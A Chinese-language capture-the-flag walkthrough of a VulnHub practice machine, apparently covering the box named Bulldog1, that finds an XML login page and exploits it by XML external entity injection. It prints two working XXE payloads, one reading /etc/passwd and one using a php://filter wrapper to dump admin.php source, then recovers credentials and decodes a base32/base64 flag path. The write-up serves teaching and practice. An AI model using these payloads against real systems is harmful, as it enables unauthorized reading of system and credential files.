【VulnHub xxe】Xml外部实体注入攻击
名称:Bulldog1
发布日期:2017 年 8 月 28 日
难度:初级
下载链接:https://www.vulnhub.com/entry/bulldog-1,211/
信息收集
主机发现

端口扫描

访问Web页面

目录扫描

访问robots.txt

访问/xxe路径,一处登陆点

暴破无果,继续扫下一级目录

又是一处登陆点,依然没有头绪....

回到/xxe/登陆点,抓个包查看,发现请求内容是xml数据格式,靶机名叫xxe,这思路不就来了吗

利用XXE注入,读取任意文件
使用XXE注入,读取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><name>&xxe;</name><password>123</password></root>

使用php协议,查看admin.php文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&xxe;</name><password>123</password></root>

进行base64解密,得到网站源码,拿到用户名和密码的md5值

解密得到密码

使用账号密码登录admin.php,得到红色的Flag链接。

点进去后一片空白,查看网页源码,发现一处注释

先进性base32解码后在进行base64解码
解码前:JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
Base32:L2V0Yy8uZmxhZy5waHA=
Base64:/etc/.flag.php
继续使用xxe读取文件,像是php代码

在线php代码运行工具跑一跑,得到flag

总结
1、xxe漏洞利用
2、base32和base64的区别

浙公网安备 33010602011771号